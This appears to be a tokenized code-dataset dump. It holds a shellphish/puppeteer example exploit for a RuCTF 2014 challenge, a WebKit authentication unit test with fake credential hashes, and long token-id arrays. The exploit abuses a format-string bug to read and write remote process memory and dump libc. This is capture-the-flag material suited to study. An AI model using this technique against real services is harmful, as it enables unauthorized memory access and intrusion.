repo_name
stringlengths
6
100
path
stringlengths
4
294
copies
stringclasses
981 values
size
stringlengths
4
6
content
stringlengths
606
896k
license
stringclasses
15 values
input_ids
listlengths
1.02k
1.02k
labels
listlengths
1.02k
1.02k
attention_mask
listlengths
1.02k
1.02k
shellphish/puppeteer
examples/ructf_2014_pwn200/doit.py
1
2635
import puppeteer as p import logging try: import standard_logging # pylint: disable=W0611 except ImportError: pass #logging.getLogger("puppeteer.connection").setLevel(logging.DEBUG) #logging.getLogger("puppeteer.manipulator").setLevel(logging.DEBUG) #logging.getLogger("puppeteer.vuln_decorators").setLevel(logging.DEBUG) #logging.getLogger("puppeteer.formatter").setLevel(logging.DEBUG) class Aggravator(p.Manipulator): def __init__(self, host, port): p.Manipulator.__init__(self, p.x86) # some initial info from IDA # TODO: maybe use IDALink to get this automatically? self.permanent_info['main_start'] = 0x0804A9B3 self.permanent_info['main_end'] = 0x0804A9D1 self.permanent_info['main_stackframe_size'] = 0x24 self.c = self.set_connection(p.Connection(host=host, port=port).connect()) self.c.read_until("> ") @p.printf(byte_offset=244, max_length=31, forbidden={'\x00', '\x0a'}) def stats_printf(self, fmt): self.c.send("stats " + fmt + "\n") self.c.read_until("kill top:\n") try: result = self.c.read_until("\n"*5, timeout=3)[:-5] self.c.read_until("> ", timeout=3) except EOFError: print "Program didn't finish the print" return "" #print "GOT:",repr(result) return result def main(): # Create the Aggravator! a = Aggravator(sys.argv[1], int(sys.argv[2])) # And now, we can to stuff! # We can read the stack! #print "STACKZ",a.dump_stack(1000).encode('hex') print "Testing memory read." assert a.do_memory_read(0x0804A9C3, 16) == '\x00\x8B\x44\x24\x1C\x89\x04\x24\xE8\x20\xFE\xFF\xFF\xC9\xC3\x66' ## We can figure out where __libc_start_main is! lcsm = a.main_return_address(start_offset=390) print "main() will return to (presumably, this is in libc):",hex(lcsm) # interactive memory explorer! a.memory_explorer(lcsm) # now dump it! libc = a.dump_elf(lcsm) #- 0x1000 # the minus is because on my test machine, the address has a \x00 in it print "dumped %d pages from libc" % len(libc) #a.dump_libc("aggregator_libc", start_offset=390) # We can overwrite memory with ease! a.do_memory_write(0x0804C344, "OK") assert a.do_memory_read(0x0804C344, 2) == "OK" a.c.send("quit\n") #libc_page_start = lcsm & 0xfffff000 #libc_page_content = a.do_memory_read(libc_page_start, 0x1000) #open("dumped", "w").write(libc_page_content) #print "read out %d bytes from libc!" % len(libc_page_content) if __name__ == '__main__': import sys main()
gpl-3.0
[ 646, 299, 384, 321, 266, 281, 465, 299, 199, 199, 646, 2050, 199, 893, 26, 272, 492, 4465, 63, 4806, 327, 4287, 26, 3507, 29, 55, 1690, 845, 199, 2590, 3545, 26, 272, 986, 199, 3, 4806, 14, 5572, 480, 80, 384, 321, 266, 281, 14, 2105, 3471, 13548, 8, 4806, 14, 5287, 9, 199, 3, 4806, 14, 5572, 480, 80, 384, 321, 266, 281, 14, 29798, 6109, 3471, 13548, 8, 4806, 14, 5287, 9, 199, 3, 4806, 14, 5572, 480, 80, 384, 321, 266, 281, 14, 86, 348, 78, 63, 11582, 3471, 13548, 8, 4806, 14, 5287, 9, 199, 3, 4806, 14, 5572, 480, 80, 384, 321, 266, 281, 14, 8911, 3471, 13548, 8, 4806, 14, 5287, 9, 199, 199, 533, 21582, 926, 86, 707, 8, 80, 14, 2395, 711, 6109, 304, 272, 347, 636, 826, 721, 277, 12, 1591, 12, 1844, 304, 267, 299, 14, 2395, 711, 6109, 855, 826, 721, 277, 12, 299, 14, 88, 1184, 9, 398, 327, 2005, 2536, 2256, 687, 2870, 33, 267, 327, 3254, 26, 11703, 675, 2870, 748, 2292, 370, 664, 642, 5847, 31, 267, 291, 14, 19904, 63, 815, 459, 973, 63, 928, 418, 275, 378, 88, 2036, 966, 33, 25, 34, 19, 267, 291, 14, 19904, 63, 815, 459, 973, 63, 500, 418, 275, 378, 88, 2036, 966, 33, 25, 36, 17, 267, 291, 14, 19904, 63, 815, 459, 973, 63, 2340, 1943, 63, 890, 418, 275, 378, 88, 1194, 398, 291, 14, 67, 275, 291, 14, 409, 63, 2105, 8, 80, 14, 3225, 8, 1102, 29, 1102, 12, 1844, 29, 719, 680, 2242, 1012, 267, 291, 14, 67, 14, 739, 63, 8111, 19651, 6099, 339, 768, 80, 14, 19139, 8, 4414, 63, 2743, 29, 11603, 12, 1390, 63, 1267, 29, 2192, 12, 24786, 3126, 1154, 88, 383, 297, 1557, 88, 16, 65, 3071, 272, 347, 5020, 63, 19139, 8, 277, 12, 7104, 304, 267, 291, 14, 67, 14, 2254, 480, 3200, 298, 435, 7104, 435, 1867, 78, 531, 267, 291, 14, 67, 14, 739, 63, 8111, 480, 8997, 2746, 3427, 78, 531, 267, 862, 26, 288, 754, 275, 291, 14, 67, 14, 739, 63, 8111, 4582, 78, 31761, 21, 12, 2653, 29, 19, 31280, 21, 61, 288, 291, 14, 67, 14, 739, 63, 8111, 19651, 3872, 2653, 29, 19, 9, 267, 871, 21157, 26, 288, 870, 298, 9184, 9980, 1133, 9578, 314, 870, 2, 288, 372, 3087, 398, 327, 1361, 298, 39, 1387, 6783, 2722, 8, 1099, 9, 267, 372, 754, 199, 199, 318, 2446, 837, 272, 327, 2790, 314, 21582, 926, 86, 707, 1, 272, 282, 275, 21582, 926, 86, 707, 8, 1274, 14, 3020, 59, 17, 467, 1109, 8, 1274, 14, 3020, 59, 18, 2459, 339, 327, 6061, 3063, 12, 781, 883, 370, 8292, 1, 339, 327, 2136, 883, 1586, 314, 3464, 1, 272, 327, 1361, 298, 17014, 58, 401, 65, 14, 2724, 63, 2340, 8, 5279, 680, 2143, 360, 4097, 358, 339, 870, 298, 9029, 4402, 1586, 2122, 272, 702, 282, 14, 1117, 63, 4844, 63, 739, 8, 16, 88, 2036, 966, 33, 25, 35, 19, 12, 3193, 9, 508, 1557, 88, 383, 60, 88, 24, 34, 60, 88, 1602, 60, 88, 1194, 60, 88, 17, 35, 60, 88, 1407, 60, 88, 966, 60, 88, 1194, 60, 6991, 24, 60, 88, 1165, 60, 20981, 60, 9039, 60, 9039, 60, 8163, 25, 60, 8163, 19, 60, 88, 1272, 7, 339, 925, 2136, 883, 9658, 734, 2382, 636, 20217, 63, 928, 63, 973, 365, 1, 272, 634, 1259, 77, 275, 282, 14, 973, 63, 1107, 63, 1562, 8, 928, 63, 2743, 29, 12302, 9, 272, 870, 298, 973, 342, 911, 372, 370, 334, 24919, 453, 6665, 12, 642, 365, 315, 1973, 67, 304, 401, 4097, 8, 76, 1259, 77, 9, 339, 327, 12777, 4402, 15868, 3859, 1, 272, 282, 14, 4844, 63, 16971, 3859, 8, 76, 1259, 77, 9, 339, 327, 3063, 5461, 652, 1, 272, 1973, 67, 275, 282, 14, 2724, 63, 25371, 8, 76, 1259, 77, 9, 327, 13, 378, 88, 5279, 327, 314, 21357, 365, 2952, 641, 3002, 511, 6844, 12, 314, 2287, 965, 282, 971, 88, 383, 315, 652, 272, 870, 298, 2724, 379, 450, 68, 6497, 687, 1973, 67, 2, 450, 822, 8, 20217, 9, 272, 327, 65, 14, 2724, 63, 20217, 480, 27562, 63, 20217, 401, 1343, 63, 2743, 29, 12302, 9, 339, 327, 2136, 883, 8970, 4402, 543, 325, 482, 1, 272, 282, 14, 1117, 63, 4844, 63, 952, 8, 16, 88, 2036, 966, 35, 10875, 12, 298, 3593, 531, 272, 702, 282, 14, 1117, 63, 4844, 63, 739, 8, 16, 88, 2036, 966, 35, 10875, 12, 499, 9, 508, 298, 3593, 2, 272, 282, 14, 67, 14, 2254, 480, 10589, 60, 78, 531, 339, 327, 20217, 63, 1606, 63, 928, 275, 634, 1259, 77, 1253, 378, 3581, 18190, 1493, 272, 327, 20217, 63, 1606, 63, 1317, 275, 282, 14, 1117, 63, 4844, 63, 739, 8, 20217, 63, 1606, 63, 928, 12, 378, 88, 5279, 9, 272, 327, 1490, 480, 2724, 379, 401, 298, 87, 3471, 952, 8, 20217, 63, 1606, 63, 1317, 9, 272, 327, 1361, 298, 739, 734, 450, 68, 2783, 687, 1973, 67, 9539, 450, 822, 8, 20217, 63, 1606, 63, 1317, 9, 199, 199, 692, 636, 354, 363, 508, 2560, 973, 3706, 272, 492, 984, 272, 2446, 342, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 299, 384, 321, 266, 281, 465, 299, 199, 199, 646, 2050, 199, 893, 26, 272, 492, 4465, 63, 4806, 327, 4287, 26, 3507, 29, 55, 1690, 845, 199, 2590, 3545, 26, 272, 986, 199, 3, 4806, 14, 5572, 480, 80, 384, 321, 266, 281, 14, 2105, 3471, 13548, 8, 4806, 14, 5287, 9, 199, 3, 4806, 14, 5572, 480, 80, 384, 321, 266, 281, 14, 29798, 6109, 3471, 13548, 8, 4806, 14, 5287, 9, 199, 3, 4806, 14, 5572, 480, 80, 384, 321, 266, 281, 14, 86, 348, 78, 63, 11582, 3471, 13548, 8, 4806, 14, 5287, 9, 199, 3, 4806, 14, 5572, 480, 80, 384, 321, 266, 281, 14, 8911, 3471, 13548, 8, 4806, 14, 5287, 9, 199, 199, 533, 21582, 926, 86, 707, 8, 80, 14, 2395, 711, 6109, 304, 272, 347, 636, 826, 721, 277, 12, 1591, 12, 1844, 304, 267, 299, 14, 2395, 711, 6109, 855, 826, 721, 277, 12, 299, 14, 88, 1184, 9, 398, 327, 2005, 2536, 2256, 687, 2870, 33, 267, 327, 3254, 26, 11703, 675, 2870, 748, 2292, 370, 664, 642, 5847, 31, 267, 291, 14, 19904, 63, 815, 459, 973, 63, 928, 418, 275, 378, 88, 2036, 966, 33, 25, 34, 19, 267, 291, 14, 19904, 63, 815, 459, 973, 63, 500, 418, 275, 378, 88, 2036, 966, 33, 25, 36, 17, 267, 291, 14, 19904, 63, 815, 459, 973, 63, 2340, 1943, 63, 890, 418, 275, 378, 88, 1194, 398, 291, 14, 67, 275, 291, 14, 409, 63, 2105, 8, 80, 14, 3225, 8, 1102, 29, 1102, 12, 1844, 29, 719, 680, 2242, 1012, 267, 291, 14, 67, 14, 739, 63, 8111, 19651, 6099, 339, 768, 80, 14, 19139, 8, 4414, 63, 2743, 29, 11603, 12, 1390, 63, 1267, 29, 2192, 12, 24786, 3126, 1154, 88, 383, 297, 1557, 88, 16, 65, 3071, 272, 347, 5020, 63, 19139, 8, 277, 12, 7104, 304, 267, 291, 14, 67, 14, 2254, 480, 3200, 298, 435, 7104, 435, 1867, 78, 531, 267, 291, 14, 67, 14, 739, 63, 8111, 480, 8997, 2746, 3427, 78, 531, 267, 862, 26, 288, 754, 275, 291, 14, 67, 14, 739, 63, 8111, 4582, 78, 31761, 21, 12, 2653, 29, 19, 31280, 21, 61, 288, 291, 14, 67, 14, 739, 63, 8111, 19651, 3872, 2653, 29, 19, 9, 267, 871, 21157, 26, 288, 870, 298, 9184, 9980, 1133, 9578, 314, 870, 2, 288, 372, 3087, 398, 327, 1361, 298, 39, 1387, 6783, 2722, 8, 1099, 9, 267, 372, 754, 199, 199, 318, 2446, 837, 272, 327, 2790, 314, 21582, 926, 86, 707, 1, 272, 282, 275, 21582, 926, 86, 707, 8, 1274, 14, 3020, 59, 17, 467, 1109, 8, 1274, 14, 3020, 59, 18, 2459, 339, 327, 6061, 3063, 12, 781, 883, 370, 8292, 1, 339, 327, 2136, 883, 1586, 314, 3464, 1, 272, 327, 1361, 298, 17014, 58, 401, 65, 14, 2724, 63, 2340, 8, 5279, 680, 2143, 360, 4097, 358, 339, 870, 298, 9029, 4402, 1586, 2122, 272, 702, 282, 14, 1117, 63, 4844, 63, 739, 8, 16, 88, 2036, 966, 33, 25, 35, 19, 12, 3193, 9, 508, 1557, 88, 383, 60, 88, 24, 34, 60, 88, 1602, 60, 88, 1194, 60, 88, 17, 35, 60, 88, 1407, 60, 88, 966, 60, 88, 1194, 60, 6991, 24, 60, 88, 1165, 60, 20981, 60, 9039, 60, 9039, 60, 8163, 25, 60, 8163, 19, 60, 88, 1272, 7, 339, 925, 2136, 883, 9658, 734, 2382, 636, 20217, 63, 928, 63, 973, 365, 1, 272, 634, 1259, 77, 275, 282, 14, 973, 63, 1107, 63, 1562, 8, 928, 63, 2743, 29, 12302, 9, 272, 870, 298, 973, 342, 911, 372, 370, 334, 24919, 453, 6665, 12, 642, 365, 315, 1973, 67, 304, 401, 4097, 8, 76, 1259, 77, 9, 339, 327, 12777, 4402, 15868, 3859, 1, 272, 282, 14, 4844, 63, 16971, 3859, 8, 76, 1259, 77, 9, 339, 327, 3063, 5461, 652, 1, 272, 1973, 67, 275, 282, 14, 2724, 63, 25371, 8, 76, 1259, 77, 9, 327, 13, 378, 88, 5279, 327, 314, 21357, 365, 2952, 641, 3002, 511, 6844, 12, 314, 2287, 965, 282, 971, 88, 383, 315, 652, 272, 870, 298, 2724, 379, 450, 68, 6497, 687, 1973, 67, 2, 450, 822, 8, 20217, 9, 272, 327, 65, 14, 2724, 63, 20217, 480, 27562, 63, 20217, 401, 1343, 63, 2743, 29, 12302, 9, 339, 327, 2136, 883, 8970, 4402, 543, 325, 482, 1, 272, 282, 14, 1117, 63, 4844, 63, 952, 8, 16, 88, 2036, 966, 35, 10875, 12, 298, 3593, 531, 272, 702, 282, 14, 1117, 63, 4844, 63, 739, 8, 16, 88, 2036, 966, 35, 10875, 12, 499, 9, 508, 298, 3593, 2, 272, 282, 14, 67, 14, 2254, 480, 10589, 60, 78, 531, 339, 327, 20217, 63, 1606, 63, 928, 275, 634, 1259, 77, 1253, 378, 3581, 18190, 1493, 272, 327, 20217, 63, 1606, 63, 1317, 275, 282, 14, 1117, 63, 4844, 63, 739, 8, 20217, 63, 1606, 63, 928, 12, 378, 88, 5279, 9, 272, 327, 1490, 480, 2724, 379, 401, 298, 87, 3471, 952, 8, 20217, 63, 1606, 63, 1317, 9, 272, 327, 1361, 298, 739, 734, 450, 68, 2783, 687, 1973, 67, 9539, 450, 822, 8, 20217, 63, 1606, 63, 1317, 9, 199, 199, 692, 636, 354, 363, 508, 2560, 973, 3706, 272, 492, 984, 272, 2446, 342, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1,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wkhtmltopdf/qtwebkit
Tools/BuildSlaveSupport/build.webkit.org-config/committer_auth_unittest.py
123
9892
#!/usr/bin/env python # # Copyright (C) 2011 Apple Inc. All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions # are met: # 1. Redistributions of source code must retain the above copyright # notice, this list of conditions and the following disclaimer. # 2. Redistributions in binary form must reproduce the above copyright # notice, this list of conditions and the following disclaimer in the # documentation and/or other materials provided with the distribution. # # THIS SOFTWARE IS PROVIDED BY APPLE INC. AND ITS CONTRIBUTORS ``AS IS'' AND # ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED # WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE # DISCLAIMED. IN NO EVENT SHALL APPLE INC. OR ITS CONTRIBUTORS BE LIABLE FOR # ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL # DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR # SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER # CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, # OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE # OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. import StringIO import __builtin__ import buildbot.status.web.auth import contextlib import os import unittest from committer_auth import CommitterAuth # This subclass of StringIO supports the context manager protocol so it works # with "with" statements, just like real files. class CMStringIO(StringIO.StringIO): def __enter__(self): return self def __exit__(self, exception, value, traceback): self.close() @contextlib.contextmanager def open_override(func): original_open = __builtin__.open __builtin__.open = func yield __builtin__.open = original_open class CommitterAuthTest(unittest.TestCase): def setUp(self): self.auth = CommitterAuth('path/to/auth.json') self.auth.open_auth_json_file = self.fake_auth_json_file self.auth.open_webkit_committers_file = self.fake_committers_file self.auth.open_trac_credentials_file = self.fake_htdigest_file def fake_open_function(self, expected_filename): def fake_open(name, mode='r'): self.fake_open_was_called = True self.assertEqual(expected_filename, name) return fake_open def test_authentication_success(self): self.assertTrue(self.auth.authenticate('committer@webkit.org', 'committerpassword')) self.assertEqual('', self.auth.errmsg()) self.assertTrue(self.auth.authenticate('committer2@example.com', 'committer2password')) self.assertEqual('', self.auth.errmsg()) def test_committer_without_trac_credentials_fails(self): self.assertFalse(self.auth.authenticate('committer3@webkit.org', 'committer3password')) self.assertEqual('Invalid username/password', self.auth.errmsg()) def test_fail_to_open_auth_json_file(self): def raise_IOError(): raise IOError(2, 'No such file or directory', 'path/to/auth.json') auth = CommitterAuth('path/to/auth.json') auth.open_auth_json_file = raise_IOError self.assertFalse(auth.authenticate('committer@webkit.org', 'committerpassword')) self.assertEqual('Error opening auth.json file: No such file or directory', auth.errmsg()) def test_fail_to_open_trac_credentials_file(self): def raise_IOError(): raise IOError(2, 'No such file or directory', 'path/to/trac/credentials') self.auth.open_trac_credentials_file = raise_IOError self.assertFalse(self.auth.authenticate('committer@webkit.org', 'committerpassword')) self.assertEqual('Error opening Trac credentials file: No such file or directory', self.auth.errmsg()) def test_fail_to_open_webkit_committers_file(self): def raise_IOError(): raise IOError(2, 'No such file or directory', 'path/to/webkit/committers') self.auth.open_webkit_committers_file = raise_IOError self.assertFalse(self.auth.authenticate('committer@webkit.org', 'committerpassword')) self.assertEqual('Error opening WebKit committers file: No such file or directory', self.auth.errmsg()) def test_implements_IAuth(self): self.assertTrue(buildbot.status.web.auth.IAuth.implementedBy(CommitterAuth)) def test_invalid_auth_json_file(self): auth = CommitterAuth('path/to/auth.json') auth.open_auth_json_file = self.invalid_auth_json_file self.assertFalse(auth.authenticate('committer@webkit.org', 'committerpassword')) self.assertEqual('Error parsing auth.json file: No JSON object could be decoded', auth.errmsg()) def test_invalid_committers_file(self): self.auth.open_webkit_committers_file = self.invalid_committers_file self.assertFalse(self.auth.authenticate('committer@webkit.org', 'committerpassword')) self.assertEqual('Error parsing WebKit committers file', self.auth.errmsg()) def test_invalid_trac_credentials_file(self): self.auth.open_trac_credentials_file = self.invalid_htdigest_file self.assertFalse(self.auth.authenticate('committer@webkit.org', 'committerpassword')) self.assertEqual('Error parsing Trac credentials file', self.auth.errmsg()) def test_missing_auth_json_keys(self): auth = CommitterAuth('path/to/auth.json') auth.open_auth_json_file = lambda: CMStringIO('{ "trac_credentials": "path/to/trac/credentials" }') self.assertFalse(auth.authenticate('committer@webkit.org', 'committerpassword')) self.assertEqual('auth.json file is missing "webkit_committers" key', auth.errmsg()) auth.open_auth_json_file = lambda: CMStringIO('{ "webkit_committers": "path/to/webkit/committers" }') auth.open_webkit_committers_file = self.fake_committers_file self.assertFalse(auth.authenticate('committer@webkit.org', 'committerpassword')) self.assertEqual('auth.json file is missing "trac_credentials" key', auth.errmsg()) def test_open_auth_json_file(self): auth = CommitterAuth('path/to/auth.json') self.fake_open_was_called = False with open_override(self.fake_open_function(auth.auth_json_filename())): auth.open_auth_json_file() self.assertTrue(self.fake_open_was_called) def test_open_trac_credentials_file(self): auth = CommitterAuth('path/to/auth.json') auth.trac_credentials_filename = lambda: 'trac credentials filename' self.fake_open_was_called = False with open_override(self.fake_open_function(auth.trac_credentials_filename())): auth.open_trac_credentials_file() self.assertTrue(self.fake_open_was_called) def test_open_webkit_committers_file(self): auth = CommitterAuth('path/to/auth.json') auth.webkit_committers_filename = lambda: 'webkit committers filename' self.fake_open_was_called = False with open_override(self.fake_open_function(auth.webkit_committers_filename())): auth.open_webkit_committers_file() self.assertTrue(self.fake_open_was_called) def test_non_committer_fails(self): self.assertFalse(self.auth.authenticate('noncommitter@example.com', 'noncommitterpassword')) self.assertEqual('Invalid username/password', self.auth.errmsg()) def test_trac_credentials_filename(self): self.assertEqual('path/to/trac/credentials', self.auth.trac_credentials_filename()) def test_unknown_user_fails(self): self.assertFalse(self.auth.authenticate('nobody@example.com', 'nobodypassword')) self.assertEqual('Invalid username/password', self.auth.errmsg()) def test_username_is_prefix_of_valid_user(self): self.assertFalse(self.auth.authenticate('committer@webkit.orgg', 'committerpassword')) self.assertEqual('Invalid username/password', self.auth.errmsg()) def test_webkit_committers(self): self.assertEqual(['committer@webkit.org', 'committer2@example.com', 'committer3@webkit.org'], self.auth.webkit_committers()) def test_webkit_committers_filename(self): self.assertEqual('path/to/webkit/committers', self.auth.webkit_committers_filename()) def test_wrong_password_fails(self): self.assertFalse(self.auth.authenticate('committer@webkit.org', 'wrongpassword')) self.assertEqual('Invalid username/password', self.auth.errmsg()) def fake_auth_json_file(self): return CMStringIO("""{ "trac_credentials": "path/to/trac/credentials", "webkit_committers": "path/to/webkit/committers" }""") def invalid_auth_json_file(self): return CMStringIO('~!@#$%^&*()_+') def fake_committers_file(self): return CMStringIO("""[groups] group1 = user@example.com,user2@example.com group2 = user3@example.com group3 = group4 = webkit = committer@webkit.org,committer2@example.com,committer3@webkit.org [service:/] * = r """) def invalid_committers_file(self): return CMStringIO("""[groups] [[groups2] """) def fake_htdigest_file(self): return CMStringIO("""committer@webkit.org:Mac OS Forge:761c8dcb7d9b5908007ed142f62fe73a committer2@example.com:Mac OS Forge:faeee69acc2e49af3a0dbb15bd593ef4 noncommitter@example.com:Mac OS Forge:b99aa7ad32306a654ca4d57839fde9c1 """) def invalid_htdigest_file(self): return CMStringIO("""committer@webkit.org:Mac OS Forge:761c8dcb7d9b5908007ed142f62fe73a committer2@example.com:Mac OS Forge:faeee69acc2e49af3a0dbb15bd593ef4 noncommitter@example.com:Mac OS Forge:b99aa7ad32306a654ca4d57839fde9c1 committer4@example.com:Mac OS Forge::: """) if __name__ == '__main__': unittest.main()
gpl-2.0
[ 3381, 2647, 15, 1393, 15, 1813, 2366, 199, 3, 199, 3, 1898, 334, 35, 9, 7760, 21257, 3277, 14, 2900, 4481, 4644, 14, 199, 3, 199, 3, 10114, 436, 675, 315, 1350, 436, 3366, 4513, 12, 543, 503, 1928, 199, 3, 7100, 12, 787, 8211, 2741, 626, 314, 2569, 3704, 199, 3, 787, 7647, 26, 199, 3, 413, 14, 221, 6823, 402, 1350, 1233, 1471, 8074, 314, 3432, 4248, 199, 3, 258, 4245, 12, 642, 769, 402, 3704, 436, 314, 2569, 6450, 14, 199, 3, 499, 14, 221, 6823, 315, 3366, 1824, 1471, 9172, 314, 3432, 4248, 199, 3, 258, 4245, 12, 642, 769, 402, 3704, 436, 314, 2569, 6450, 315, 314, 199, 3, 258, 3794, 436, 15, 269, 1163, 8418, 2741, 543, 314, 4084, 14, 199, 3, 199, 3, 5749, 4141, 2281, 7049, 6515, 19525, 906, 7839, 14, 2401, 473, 9730, 6483, 1124, 1179, 2281, 891, 2401, 199, 3, 1821, 7168, 1549, 5292, 2990, 12, 6931, 12, 5400, 2845, 5471, 2296, 12, 2334, 5292, 199, 3, 2990, 1634, 3169, 2401, 3092, 2381, 437, 3115, 3104, 9315, 199, 3, 9706, 14, 1621, 4825, 6461, 7000, 19525, 906, 7839, 14, 1549, 473, 9730, 6483, 6262, 7024, 2381, 199, 3, 1821, 8703, 12, 9168, 12, 9716, 12, 8820, 12, 9836, 12, 1549, 9110, 199, 3, 6736, 334, 6446, 12, 5400, 2845, 5471, 2296, 12, 9838, 1634, 9103, 9764, 1549, 199, 3, 9714, 27, 9102, 1634, 4815, 12, 7126, 12, 1549, 9206, 27, 1549, 9748, 9831, 9, 9802, 199, 3, 9817, 2401, 5258, 1821, 9815, 1634, 5603, 12, 7061, 1621, 7066, 12, 9644, 5603, 12, 199, 3, 1549, 7056, 334, 6446, 9254, 1549, 7334, 9, 7043, 1621, 1821, 9683, 5738, 1634, 2334, 4815, 199, 3, 1634, 5749, 4141, 12, 9704, 8036, 9691, 1634, 2334, 9726, 1634, 9712, 9784, 14, 199, 199, 646, 5228, 199, 646, 636, 5351, 363, 199, 646, 21306, 14, 1205, 14, 2520, 14, 1178, 199, 646, 15502, 199, 646, 747, 199, 646, 2882, 199, 199, 504, 5532, 351, 63, 1178, 492, 21447, 351, 2817, 421, 199, 3, 961, 5516, 402, 5228, 5171, 314, 1067, 5256, 4113, 880, 652, 5419, 199, 3, 543, 298, 1045, 2, 9834, 12, 2951, 2839, 3363, 1584, 14, 199, 533, 445, 45, 6424, 8, 6424, 14, 6424, 304, 272, 347, 636, 4200, 721, 277, 304, 267, 372, 291, 339, 347, 636, 2224, 721, 277, 12, 1919, 12, 574, 12, 5190, 304, 267, 291, 14, 1600, 342, 421, 199, 32, 23464, 14, 14237, 199, 318, 1551, 63, 4415, 8, 1532, 304, 272, 3379, 63, 1490, 275, 636, 5351, 4343, 1490, 272, 636, 5351, 4343, 1490, 275, 2562, 272, 1995, 272, 636, 5351, 4343, 1490, 275, 3379, 63, 1490, 421, 199, 533, 21447, 351, 2817, 774, 8, 2796, 14, 1746, 304, 272, 347, 3613, 8, 277, 304, 267, 291, 14, 1178, 275, 21447, 351, 2817, 360, 515, 15, 475, 15, 1178, 14, 1001, 358, 267, 291, 14, 1178, 14, 1490, 63, 1178, 63, 1001, 63, 493, 275, 291, 14, 3183, 63, 1178, 63, 1001, 63, 493, 267, 291, 14, 1178, 14, 1490, 63, 12554, 63, 3543, 878, 63, 493, 275, 291, 14, 3183, 63, 3543, 878, 63, 493, 267, 291, 14, 1178, 14, 1490, 63, 23047, 63, 6942, 63, 493, 275, 291, 14, 3183, 63, 517, 5671, 63, 493, 339, 347, 4026, 63, 1490, 63, 1593, 8, 277, 12, 1420, 63, 1501, 304, 267, 347, 4026, 63, 1490, 8, 354, 12, 818, 534, 82, 735, 288, 291, 14, 3183, 63, 1490, 63, 10274, 63, 3527, 275, 715, 288, 291, 14, 629, 8, 2062, 63, 1501, 12, 536, 9, 267, 372, 4026, 63, 1490, 339, 347, 511, 63, 11725, 63, 3742, 8, 277, 304, 267, 291, 14, 1815, 8, 277, 14, 1178, 14, 13975, 360, 3543, 351, 32, 12554, 14, 1308, 297, 283, 3543, 351, 2060, 1333, 267, 291, 14, 629, 8594, 291, 14, 1178, 14, 16024, 1012, 267, 291, 14, 1815, 8, 277, 14, 1178, 14, 13975, 360, 3543, 351, 18, 32, 2694, 14, 957, 297, 283, 3543, 351, 18, 2060, 1333, 267, 291, 14, 629, 8594, 291, 14, 1178, 14, 16024, 1012, 339, 347, 511, 63, 3543, 351, 63, 7395, 63, 23047, 63, 6942, 63, 15762, 8, 277, 304, 267, 291, 14, 3334, 8, 277, 14, 1178, 14, 13975, 360, 3543, 351, 19, 32, 12554, 14, 1308, 297, 283, 3543, 351, 19, 2060, 1333, 267, 291, 14, 629, 360, 3364, 3434, 15, 2060, 297, 291, 14, 1178, 14, 16024, 1012, 339, 347, 511, 63, 1633, 63, 475, 63, 1490, 63, 1178, 63, 1001, 63, 493, 8, 277, 304, 267, 347, 746, 63, 13760, 837, 288, 746, 5925, 8, 18, 12, 283, 1944, 4066, 570, 503, 2082, 297, 283, 515, 15, 475, 15, 1178, 14, 1001, 358, 267, 1790, 275, 21447, 351, 2817, 360, 515, 15, 475, 15, 1178, 14, 1001, 358, 267, 1790, 14, 1490, 63, 1178, 63, 1001, 63, 493, 275, 746, 63, 13760, 267, 291, 14, 3334, 8, 1178, 14, 13975, 360, 3543, 351, 32, 12554, 14, 1308, 297, 283, 3543, 351, 2060, 1333, 267, 291, 14, 629, 360, 547, 13618, 1790, 14, 1001, 